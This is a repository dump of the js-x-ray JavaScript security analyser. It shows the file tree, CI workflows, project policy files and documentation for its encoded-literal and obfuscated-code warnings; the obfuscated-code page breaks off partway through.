├── .all-contributorsrc
├── .changeset
└── config.json
├── .editorconfig
├── .github
├── dependabot.yml
└── workflows
│ ├── changesets.yml
│ ├── codeql.yml
│ ├── estree-ast-utils.yml
│ ├── node.js.yml
│ ├── scorecard.yml
│ ├── sec-literal.yml
│ └── ts-source-parser.yml
├── .gitignore
├── .npmrc
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── SECURITY.md
├── docs
├── api
│ ├── AstAnalyser.md
│ └── EntryFilesAnalyser.md
├── encoded-literal.md
├── obfuscated-code.md
├── parsing-error.md
├── shady-link.md
├── short-identifiers.md
├── suspicious-file.md
├── suspicious-literal.md
├── unsafe-import.md
├── unsafe-regex.md
├── unsafe-stmt.md
└── weak-crypto.md
├── eslint.config.mjs
├── examples
├── event-stream.js
├── forbes-skimmer.js
├── jscrush.js
├── kopiluwak.js
├── modrrnize.js
├── npm-audit.js
├── obfuscate.js
├── rate-map.js
└── smith.js
├── index.d.ts
├── index.js
├── package.json
├── src
├── AstAnalyser.js
├── Deobfuscator.js
├── EntryFilesAnalyser.js
├── JsSourceParser.js
├── NodeCounter.js
├── ProbeRunner.js
├── SourceFile.js
├── obfuscators
│ ├── freejsobfuscator.js
│ ├── jjencode.js
│ ├── jsfuck.js
│ ├── obfuscator-io.js
│ └── trojan-source.js
├── probes
│ ├── isArrayExpression.js
│ ├── isBinaryExpression.js
│ ├── isESMExport.js
│ ├── isFetch.js
│ ├── isImportDeclaration.js
│ ├── isLiteral.js
│ ├── isLiteralRegex.js
│ ├── isRegexObject.js
│ ├── isRequire
│ │ ├── RequireCallExpressionWalker.js
│ │ └── isRequire.js
│ ├── isUnsafeCallee.js
│ └── isWeakCrypto.js
├── utils
│ ├── exportAssignmentHasRequireLeave.js
│ ├── extractNode.js
│ ├── index.js
│ ├── isNode.js
│ ├── isOneLineExpressionExport.js
│ ├── isUnsafeCallee.js
│ ├── notNullOrUndefined.js
│ ├── rootLocation.js
│ └── toArrayLocation.js
└── warnings.js
├── test
├── AstAnalyser.spec.js
├── Deobfuscator.spec.js
├── EntryFilesAnalyser.spec.js
├── JsSourceParser.spec.js
├── NodeCounter.spec.js
├── ProbeRunner.spec.js
├── fixtures
│ ├── FakeSourceParser.js
│ ├── entryFiles
│ │ ├── deps
│ │ │ ├── deepEntry.js
│ │ │ ├── default.cjs
│ │ │ ├── default.js
│ │ │ ├── default.jsx
│ │ │ ├── default.mjs
│ │ │ ├── default.node
│ │ │ ├── dep.cjs
│ │ │ ├── dep.jsx
│ │ │ ├── dep.mjs
│ │ │ ├── dep.node
│ │ │ ├── dep1.js
│ │ │ ├── dep2.js
│ │ │ ├── dep3.js
│ │ │ ├── invalidDep.js
│ │ │ └── validDep.js
│ │ ├── entry.js
│ │ ├── entryWithInvalidDep.js
│ │ ├── entryWithRequireDepWithExtension.js
│ │ ├── entryWithVariousDepExtensions.js
│ │ ├── export.js
│ │ ├── recursive
│ │ │ ├── A.js
│ │ │ └── B.js
│ │ └── shared.js
│ ├── issues
│ │ ├── html-comments.js
│ │ └── prop-types.min.js
│ ├── obfuscated
│ │ ├── freejsobfuscator.js
│ │ ├── jjencode.js
│ │ ├── jsfuck.js
│ │ ├── morse.js
│ │ ├── notMorse.js
│ │ ├── obfuscatorio-hexa.js
│ │ └── unsafe-unicode-chars.js
│ └── searchRuntimeDependencies
│ │ ├── customProbe.js
│ │ ├── depName.js
│ │ ├── parsingError.js
│ │ ├── suspect-string.js
│ │ └── suspiciousFile.js
├── issues
│ ├── 109-html-comment-parsing.spec.js
│ ├── 163-illegalReturnStatement.spec.js
│ ├── 170-isOneLineRequire-logicalExpression-CJS-export.spec.js
│ ├── 177-wrongUnsafeRequire.spec.js
│ ├── 178-path-join-literal-args-is-not-unsafe.spec.js
│ ├── 179-UnsafeEvalRequire.spec.js
│ ├── 180-logicalexpr-return-this.spec.js
│ ├── 283-oneline-require-minified.spec.js
│ ├── 295-deobfuscator-function-declaration-id-null.spec.js
│ ├── 312-try-finally.spec.js
│ └── 59-undefined-depName.spec.js
├── obfuscated.spec.js
├── probes
│ ├── fixtures
│ │ └── weakCrypto
│ │ │ ├── directCallExpression
│ │ │ ├── md2.js
│ │ │ ├── md4.js
│ │ │ ├── md5.js
│ │ │ ├── ripemd160.js
│ │ │ └── sha1.js
│ │ │ └── memberExpression
│ │ │ ├── md2.js
│ │ │ ├── md4.js
│ │ │ ├── md5.js
│ │ │ ├── ripemd160.js
│ │ │ └── sha1.js
│ ├── isArrayExpression.spec.js
│ ├── isBinaryExpression.spec.js
│ ├── isESMExport.spec.js
│ ├── isFetch.spec.js
│ ├── isImportDeclaration.spec.js
│ ├── isLiteral.spec.js
│ ├── isLiteralRegex.spec.js
│ ├── isRegexObject.spec.js
│ ├── isRequire.spec.js
│ ├── isUnsafeCallee.spec.js
│ └── isWeakCrypto.spec.js
├── utils
│ └── index.js
└── warnings.spec.js
├── types
├── api.d.ts
└── warnings.d.ts
└── workspaces
├── estree-ast-utils
├── LICENSE
├── README.md
├── package.json
├── src
│ ├── arrayExpressionToString.js
│ ├── concatBinaryExpression.js
│ ├── extractLogicalExpression.js
│ ├── getCallExpressionArguments.js
│ ├── getCallExpressionIdentifier.js
│ ├── getMemberExpressionIdentifier.js
│ ├── getVariableDeclarationIdentifiers.js
│ ├── index.d.ts
│ ├── index.js
│ ├── isLiteralRegex.js
│ └── utils
│ │ ├── VariableTracer.d.ts
│ │ ├── VariableTracer.js
│ │ ├── getSubMemberExpressionSegments.js
│ │ ├── index.js
│ │ ├── isEvilIdentifierPath.js
│ │ └── notNullOrUndefined.js
└── test
│ ├── VariableTracer
│ ├── VariableTracer.spec.js
│ ├── assignments.spec.js
│ └── cryptoCreateHash.spec.js
│ ├── arrayExpressionToString.spec.js
│ ├── concatBinaryExpression.spec.js
│ ├── extractLogicalExpression.spec.js
│ ├── getCallExpressionIdentifier.spec.js
│ ├── getMemberExpressionIdentifier.spec.js
│ ├── isLiteralRegex.spec.js
│ ├── utils.js
│ └── utils
│ ├── getSubMemberExpressionSegments.spec.js
│ ├── isEvilIdentifierPath.spec.js
│ └── notNullOrUndefined.spec.js
├── sec-literal
├── LICENSE
├── README.md
├── package.json
├── src
│ ├── hex.js
│ ├── index.js
│ ├── literal.js
│ ├── patterns.js
│ └── utils.js
└── test
│ ├── hex.spec.js
│ ├── literal.spec.js
│ ├── patterns.spec.js
│ ├── utils.spec.js
│ └── utils
│ └── index.js
└── ts-source-parser
├── LICENSE
├── README.md
├── index.d.ts
├── index.js
├── package.json
├── src
└── TsSourceParser.js
└── test
└── TsSourceParser.spec.js
/.changeset/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "https://unpkg.com/@changesets/config@3.1.1/schema.json",
3 | "changelog": [
4 | "@changesets/changelog-github",
5 | { "repo": "nodesecure/js-x-ray" }
6 | ],
7 | "commit": false,
8 | "fixed": [],
9 | "linked": [],
10 | "access": "public",
11 | "baseBranch": "master",
12 | "updateInternalDependencies": "patch",
13 | "ignore": []
14 | }
15 |
--------------------------------------------------------------------------------
/.editorconfig:
--------------------------------------------------------------------------------
1 | # Editor configuration, see https://editorconfig.org
2 | root = true
3 |
4 | [*]
5 | charset = utf-8
6 | indent_style = space
7 | indent_size = 2
8 | insert_final_newline = true
9 | trim_trailing_whitespace = true
10 | end_of_line = lf
11 |
12 | [*.md]
13 | max_line_length = off
14 | trim_trailing_whitespace = false
15 |
--------------------------------------------------------------------------------
/.github/dependabot.yml:
--------------------------------------------------------------------------------
1 | version: 2
2 | updates:
3 | - package-ecosystem: "npm"
4 | directory: "/"
5 | versioning-strategy: widen
6 | schedule:
7 | interval: "weekly"
8 | groups:
9 | dependencies:
10 | dependency-type: "production"
11 | development-dependencies:
12 | dependency-type: "development"
13 | - package-ecosystem: "github-actions"
14 | directory: "/"
15 | schedule:
16 | interval: "monthly"
17 | groups:
18 | github-actions:
19 | patterns:
20 | - "*"
21 |
--------------------------------------------------------------------------------
/.github/workflows/changesets.yml:
--------------------------------------------------------------------------------
1 | name: Changesets
2 | on:
3 | push:
4 | branches:
5 | - master
6 | env:
7 | CI: true
8 |
9 | jobs:
10 | version:
11 | timeout-minutes: 15
12 | runs-on: ubuntu-latest
13 | steps:
14 | - name: Checkout code repository
15 | uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
16 | with:
17 | fetch-depth: 0
18 |
19 | - name: Setup node.js
20 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
21 | with:
22 | node-version: 22
23 |
24 | - name: Install dependencies
25 | run: npm install
26 |
27 | - name: Build monorepo
28 | run: npm run build --if-present
29 |
30 | - name: Update and publish versions
31 | uses: changesets/action@e0145edc7d9d8679003495b11f87bd8ef63c0cba # v1.5.3
32 | with:
33 | version: npm run ci:version
34 | commit: "chore: update versions"
35 | title: "chore: update versions"
36 | publish: npm run ci:publish
37 | env:
38 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
39 | NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
40 |
--------------------------------------------------------------------------------
/.github/workflows/codeql.yml:
--------------------------------------------------------------------------------
1 | # For most projects, this workflow file will not need changing; you simply need
2 | # to commit it to your repository.
3 | #
4 | # You may wish to alter this file to override the set of languages analyzed,
5 | # or to provide custom queries or build logic.
6 | #
7 | # ******** NOTE ********
8 | # We have attempted to detect the languages in your repository. Please check
9 | # the `language` matrix defined below to confirm you have the correct set of
10 | # supported CodeQL languages.
11 | #
12 | name: "CodeQL"
13 |
14 | on:
15 | push:
16 | branches: ["master"]
17 | pull_request:
18 | # The branches below must be a subset of the branches above
19 | branches: ["master"]
20 | schedule:
21 | - cron: "0 0 * * 1"
22 |
23 | permissions:
24 | contents: read
25 |
26 | jobs:
27 | analyze:
28 | name: Analyze
29 | runs-on: ubuntu-latest
30 | permissions:
31 | actions: read
32 | contents: read
33 | security-events: write
34 |
35 | strategy:
36 | fail-fast: false
37 | matrix:
38 | language: ["javascript"]
39 | # CodeQL supports [ $supported-codeql-languages ]
40 | # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
41 |
42 | steps:
43 | - name: Harden Runner
44 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
45 | with:
46 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs
47 |
48 | - name: Checkout repository
49 | uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
50 |
51 | # Initializes the CodeQL tools for scanning.
52 | - name: Initialize CodeQL
53 | uses: github/codeql-action/init@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
54 | with:
55 | languages: ${{ matrix.language }}
56 | # If you wish to specify custom queries, you can do so here or in a config file.
57 | # By default, queries listed here will override any specified in a config file.
58 | # Prefix the list here with "+" to use these queries and those in the config file.
59 |
60 | # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
61 | # queries: security-extended,security-and-quality
62 |
63 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
64 | # If this step fails, then you should remove it and run the build manually (see below)
65 | - name: Autobuild
66 | uses: github/codeql-action/autobuild@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
67 |
68 | # ℹ️ Command-line programs to run using the OS shell.
69 | # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
70 |
71 | # If the Autobuild fails above, remove it and uncomment the following three lines.
72 | # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
73 |
74 | # - run: |
75 | # echo "Run, Build Application using script"
76 | # ./location_of_script_within_repo/buildscript.sh
77 |
78 | - name: Perform CodeQL Analysis
79 | uses: github/codeql-action/analyze@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
80 | with:
81 | category: "/language:${{matrix.language}}"
--------------------------------------------------------------------------------
/.github/workflows/estree-ast-utils.yml:
--------------------------------------------------------------------------------
1 | # This workflow will do a clean installation of node dependencies, cache/restore them, build the source code and run tests across different versions of node
2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-nodejs
3 |
4 | name: Node.js CI
5 |
6 | on:
7 | push:
8 | branches:
9 | - main
10 | paths:
11 | - workspaces/estree-ast-utils/**
12 | pull_request:
13 | paths:
14 | - workspaces/estree-ast-utils/**
15 |
16 | permissions:
17 | contents: read
18 |
19 | jobs:
20 | build:
21 |
22 | runs-on: ubuntu-latest
23 |
24 | strategy:
25 | matrix:
26 | node-version: [20.x, 22.x]
27 | # See supported Node.js release schedule at https://nodejs.org/en/about/releases/
28 |
29 | steps:
30 | - name: Harden Runner
31 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
32 | with:
33 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs
34 |
35 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
36 | - name: Use Node.js ${{ matrix.node-version }}
37 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
38 | with:
39 | node-version: ${{ matrix.node-version }}
40 | - run: npm install
41 | - run: npm run test --workspace=workspaces/estree-ast-utils
42 |
--------------------------------------------------------------------------------
/.github/workflows/node.js.yml:
--------------------------------------------------------------------------------
1 | name: Node.js CI
2 |
3 | on:
4 | push:
5 | branches: master
6 | pull_request:
7 |
8 | permissions:
9 | contents: read
10 |
11 | jobs:
12 | test:
13 | runs-on: ubuntu-latest
14 | strategy:
15 | matrix:
16 | node-version: [20.x, 22.x]
17 | fail-fast: false
18 | steps:
19 | - name: Harden Runner
20 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
21 | with:
22 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs
23 |
24 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
25 | - name: Use Node.js ${{ matrix.node-version }}
26 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
27 | with:
28 | node-version: ${{ matrix.node-version }}
29 | - name: Install dependencies
30 | run: npm install
31 | - name: Run tests
32 | run: npm run test
33 | - name: Send coverage report to Codecov
34 | uses: codecov/codecov-action@18283e04ce6e62d37312384ff67231eb8fd56d24 # v4.0.0-beta.3
35 | automerge:
36 | if: >
37 | github.event_name == 'pull_request' && github.event.pull_request.user.login == 'dependabot[bot]'
38 | needs:
39 | - test
40 | runs-on: ubuntu-latest
41 | permissions:
42 | contents: write
43 | pull-requests: write
44 | steps:
45 | - name: Merge Dependabot PR
46 | uses: fastify/github-action-merge-dependabot@e820d631adb1d8ab16c3b93e5afe713450884a4a # v3.11.1
47 | with:
48 | github-token: ${{ secrets.GITHUB_TOKEN }}
49 | nsci:
50 | runs-on: ubuntu-latest
51 | strategy:
52 | matrix:
53 | node-version: [20.x, 22.x]
54 | fail-fast: false
55 | steps:
56 | - name: Harden Runner
57 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
58 | with:
59 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs
60 |
61 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
62 | - name: Use Node.js ${{ matrix.node-version }}
63 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
64 | with:
65 | node-version: ${{ matrix.node-version }}
66 | - name: Install dependencies
67 | run: npm install
68 | - uses: NodeSecure/ci-action@177c57fe32c75cafabe87f6e4515d277cc37ae6c # v1.4.1
69 | with:
70 | warnings: warning
71 | vulnerabilities: off
72 |
--------------------------------------------------------------------------------
/.github/workflows/scorecard.yml:
--------------------------------------------------------------------------------
1 | # This workflow uses actions that are not certified by GitHub. They are provided
2 | # by a third-party and are governed by separate terms of service, privacy
3 | # policy, and support documentation.
4 |
5 | name: Scorecard supply-chain security
6 | on:
7 | # For Branch-Protection check. Only the default branch is supported. See
8 | # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection
9 | branch_protection_rule:
10 | # To guarantee Maintained check is occasionally updated. See
11 | # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
12 | schedule:
13 | - cron: '37 6 * * 2'
14 | push:
15 | branches: [ "master" ]
16 |
17 | # Declare default permissions as read only.
18 | permissions: read-all
19 |
20 | jobs:
21 | analysis:
22 | name: Scorecard analysis
23 | runs-on: ubuntu-latest
24 | permissions:
25 | # Needed to upload the results to code-scanning dashboard.
26 | security-events: write
27 | # Needed to publish results and get a badge (see publish_results below).
28 | id-token: write
29 | # Uncomment the permissions below if installing in a private repository.
30 | # contents: read
31 | # actions: read
32 |
33 | steps:
34 | - name: Harden Runner
35 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
36 | with:
37 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs
38 |
39 | - name: "Checkout code"
40 | uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
41 | with:
42 | persist-credentials: false
43 |
44 | - name: "Run analysis"
45 | uses: ossf/scorecard-action@05b42c624433fc40578a4040d5cf5e36ddca8cde # v2.4.2
46 | with:
47 | results_file: results.sarif
48 | results_format: sarif
49 | # (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
50 | # - you want to enable the Branch-Protection check on a *public* repository, or
51 | # - you are installing Scorecard on a *private* repository
52 | # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action#authentication-with-pat.
53 | # repo_token: ${{ secrets.SCORECARD_TOKEN }}
54 |
55 | # Public repositories:
56 | # - Publish results to OpenSSF REST API for easy access by consumers
57 | # - Allows the repository to include the Scorecard badge.
58 | # - See https://github.com/ossf/scorecard-action#publishing-results.
59 | # For private repositories:
60 | # - `publish_results` will always be set to `false`, regardless
61 | # of the value entered here.
62 | publish_results: true
63 |
64 | # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
65 | # format to the repository Actions tab.
66 | - name: "Upload artifact"
67 | uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
68 | with:
69 | name: SARIF file
70 | path: results.sarif
71 | retention-days: 5
72 |
73 | # Upload the results to GitHub's code scanning dashboard.
74 | - name: "Upload to code-scanning"
75 | uses: github/codeql-action/upload-sarif@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
76 | with:
77 | sarif_file: results.sarif
78 |
--------------------------------------------------------------------------------
/.github/workflows/sec-literal.yml:
--------------------------------------------------------------------------------
1 | name: Node.js CI
2 |
3 | on:
4 | push:
5 | branches:
6 | - main
7 | paths:
8 | - workspaces/sec-literal/**
9 | pull_request:
10 | paths:
11 | - workspaces/sec-literal/**
12 |
13 | jobs:
14 | test:
15 | runs-on: ubuntu-latest
16 | strategy:
17 | matrix:
18 | node-version: [20.x, 22.x]
19 | fail-fast: false
20 | steps:
21 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
22 | - name: Use Node.js ${{ matrix.node-version }}
23 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
24 | with:
25 | node-version: ${{ matrix.node-version }}
26 | - run: npm install
27 | - run: npm run test --workspace=workspaces/sec-literal
28 |
--------------------------------------------------------------------------------
/.github/workflows/ts-source-parser.yml:
--------------------------------------------------------------------------------
1 | # This workflow will do a clean installation of node dependencies, cache/restore them, build the source code and run tests across different versions of node
2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-nodejs
3 |
4 | name: TsSourceParser CI
5 |
6 | on:
7 | push:
8 | branches:
9 | - main
10 | paths:
11 | - workspaces/ts-source-parser/**
12 | pull_request:
13 | paths:
14 | - workspaces/ts-source-parser/**
15 |
16 | permissions:
17 | contents: read
18 |
19 | jobs:
20 | build:
21 |
22 | runs-on: ubuntu-latest
23 |
24 | strategy:
25 | matrix:
26 | node-version: [20.x, 22.x]
27 | # See supported Node.js release schedule at https://nodejs.org/en/about/releases/
28 |
29 | steps:
30 | - name: Harden Runner
31 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
32 | with:
33 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs
34 |
35 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
36 | - name: Use Node.js ${{ matrix.node-version }}
37 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
38 | with:
39 | node-version: ${{ matrix.node-version }}
40 | - run: npm install
41 | - run: npm run test --workspace=workspaces/ts-source-parser
42 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Logs
2 | logs
3 | *.log
4 | npm-debug.log*
5 | yarn-debug.log*
6 | yarn-error.log*
7 | lerna-debug.log*
8 |
9 | # Diagnostic reports (https://nodejs.org/api/report.html)
10 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
11 |
12 | # Runtime data
13 | pids
14 | *.pid
15 | *.seed
16 | *.pid.lock
17 |
18 | # Directory for instrumented libs generated by jscoverage/JSCover
19 | lib-cov
20 |
21 | # Coverage directory used by tools like istanbul
22 | coverage
23 | *.lcov
24 |
25 | # nyc test coverage
26 | .nyc_output
27 |
28 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
29 | .grunt
30 |
31 | # Bower dependency directory (https://bower.io/)
32 | bower_components
33 |
34 | # node-waf configuration
35 | .lock-wscript
36 |
37 | # Compiled binary addons (https://nodejs.org/api/addons.html)
38 | build/Release
39 |
40 | # Dependency directories
41 | node_modules/
42 | jspm_packages/
43 |
44 | # TypeScript v1 declaration files
45 | typings/
46 |
47 | # TypeScript cache
48 | *.tsbuildinfo
49 |
50 | # Optional npm cache directory
51 | .npm
52 |
53 | # Optional eslint cache
54 | .eslintcache
55 |
56 | # Microbundle cache
57 | .rpt2_cache/
58 | .rts2_cache_cjs/
59 | .rts2_cache_es/
60 | .rts2_cache_umd/
61 |
62 | # Optional REPL history
63 | .node_repl_history
64 |
65 | # Output of 'npm pack'
66 | *.tgz
67 |
68 | # Yarn Integrity file
69 | .yarn-integrity
70 |
71 | # dotenv environment variables file
72 | .env
73 | .env.test
74 |
75 | # parcel-bundler cache (https://parceljs.org/)
76 | .cache
77 |
78 | # Next.js build output
79 | .next
80 |
81 | # Nuxt.js build / generate output
82 | .nuxt
83 | dist
84 |
85 | # Gatsby files
86 | .cache/
87 | # Comment in the public line in if your project uses Gatsby and *not* Next.js
88 | # https://nextjs.org/blog/next-9-1#public-directory-support
89 | # public
90 |
91 | # vuepress build output
92 | .vuepress/dist
93 |
94 | # Serverless directories
95 | .serverless/
96 |
97 | # FuseBox cache
98 | .fusebox/
99 |
100 | # DynamoDB Local files
101 | .dynamodb/
102 |
103 | # TernJS port file
104 | .tern-port
105 |
106 | temp.js
107 | temp/
108 | .vscode/
109 | .idea/
110 |
--------------------------------------------------------------------------------
/.npmrc:
--------------------------------------------------------------------------------
1 | package-lock=false
2 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contributing to NodeSecure
2 |
3 | Contributions to NodeSecure include code, documentation, answering user questions,
4 | running the project's infrastructure, and advocating for all types of NodeSecure
5 | users.
6 |
7 | The NodeSecure project welcomes all contributions from anyone willing to work in
8 | good faith with other contributors and the community. No contribution is too
9 | small and all contributions are valued.
10 |
11 | This guide explains the process for contributing to the NodeSecure project's.
12 |
13 | ## [Code of Conduct](https://github.com/NodeSecure/Governance/blob/main/CONTRIBUTING.md)
14 |
15 | The NodeSecure project has a
16 | [Code of Conduct](https://github.com/NodeSecure/Governance/blob/main/CONTRIBUTING.md)
17 | that *all* contributors are expected to follow. This code describes the
18 | *minimum* behavior expectations for all contributors.
19 |
20 | See [details on our policy on Code of Conduct](https://github.com/NodeSecure/Governance/blob/main/COC_POLICY.md).
21 |
22 |
23 | ## Developer's Certificate of Origin 1.1
24 |
25 | By making a contribution to this project, I certify that:
26 |
27 | * (a) The contribution was created in whole or in part by me and I
28 | have the right to submit it under the open source license
29 | indicated in the file; or
30 |
31 | * (b) The contribution is based upon previous work that, to the best
32 | of my knowledge, is covered under an appropriate open source
33 | license and I have the right under that license to submit that
34 | work with modifications, whether created in whole or in part
35 | by me, under the same open source license (unless I am
36 | permitted to submit under a different license), as indicated
37 | in the file; or
38 |
39 | * (c) The contribution was provided directly to me by some other
40 | person who certified (a), (b) or (c) and I have not modified
41 | it.
42 |
43 | * (d) I understand and agree that this project and the contribution
44 | are public and that a record of the contribution (including all
45 | personal information I submit with it, including my sign-off) is
46 | maintained indefinitely and may be redistributed consistent with
47 | this project or the open source license(s) involved.
48 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021-2025 NodeSecure
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/SECURITY.md:
--------------------------------------------------------------------------------
1 | # Reporting Security Issues
2 | To report a security issue, please [publish a private security advisory](https://github.com/NodeSecure/js-x-ray/security/advisories) with a description of the issue, the steps you took to create the issue, affected versions, and, if known, mitigations for the issue.
3 |
4 | Our vulnerability management team will respond within one week. If the issue is confirmed as a vulnerability, we will open a Security Advisory and acknowledge your contributions as part of it. This project follows a 90 day disclosure timeline.
5 |
--------------------------------------------------------------------------------
/docs/api/EntryFilesAnalyser.md:
--------------------------------------------------------------------------------
1 | # EntryFilesAnalyser
2 |
3 | ```js
4 | import { EntryFilesAnalyser } from "@nodesecure/js-x-ray";
5 |
6 | const efa = new EntryFilesAnalyser();
7 |
8 | // Either a string path or a WHAWG URL
9 | const entryFiles = [
10 | "./path/to/file.js"
11 | ];
12 |
13 | for await (const report of efa.analyse(entryFiles)) {
14 | console.log(report);
15 | }
16 | ```
17 |
18 | The constructor options is described by the following TS interface
19 |
20 | ```ts
21 | interface EntryFilesAnalyserOptions {
22 | astAnalyzer?: AstAnalyser;
23 | loadExtensions?: (defaults: string[]) => string[];
24 | rootPath?: string | URL;
25 | ignoreENOENT?: boolean;
26 | }
27 | ```
28 |
29 | Default files extensions are `.js`, `.cjs`, `.mjs` and `.node`
30 |
31 | ## API
32 |
33 | ```ts
34 | declare class EntryFilesAnalyser {
35 | public astAnalyzer: AstAnalyser;
36 | public allowedExtensions: Set;
37 | public dependencies: DiGraph>;
38 |
39 | constructor(options?: EntryFilesAnalyserOptions);
40 |
41 | /**
42 | * Asynchronously analyze a set of entry files yielding analysis reports.
43 | */
44 | analyse(
45 | entryFiles: Iterable,
46 | options?: RuntimeFileOptions
47 | ): AsyncGenerator;
48 | }
49 | ```
50 |
51 | For more informations about `Report` and `ReportOnFile` interfaces please see [AstAnalyser documentation](./AstAnalyser.md)
52 |
--------------------------------------------------------------------------------
/docs/encoded-literal.md:
--------------------------------------------------------------------------------
1 | # Encoded literal
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | encoded-literal | `Information` | `sast_warnings.encoded_literal` | ❌ |
6 |
7 | ## Introduction
8 |
9 | JS-X-Ray assert all Literals in the tree and search for **encoded values**. It currently supports `three` types of detection:
10 | - Hexadecimal sequence: `'\x72\x4b\x58\x6e\x75\x65\x38\x3d'`
11 | - Unicode sequence: `\u03B1`
12 | - Base64 encryption: `z0PgB0O=`
13 |
14 | Hexadecimal and Unicode sequence are tested directly on the **raw Literal** provided by meriyah. For base64 detection we use the npm package [is-base64](https://github.com/miguelmota/is-base64).
15 |
16 | Example of a JavaScript implementation:
17 | ```js
18 | const hasHexadecimalSequence = /\\x[a-fA-F0-9]{2}/g.exec(node.raw) !== null;
19 | const hasUnicodeSequence = /\\u[a-fA-F0-9]{4}/g.exec(node.raw) !== null;
20 | const isBase64 = isStringBase64(node.value, { allowEmpty: false });
21 | ```
22 |
--------------------------------------------------------------------------------
/docs/obfuscated-code.md:
--------------------------------------------------------------------------------
1 | # Obfuscated code
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | obfuscated-code | `Critical` | `sast_warnings.obfuscated_code` | ✔️ |
6 |
7 | ## Introduction
8 |
9 | An **experimental** warning capable of detecting obfuscation and sometimes the tool used.
10 |
11 | JS-X-Ray is capable to detect the following internet tools:
12 |
13 | - [freejsobfuscator](http://www.freejsobfuscator.com/)
14 | - [jjencode](https://utf-8.jp/public/jjencode.html)
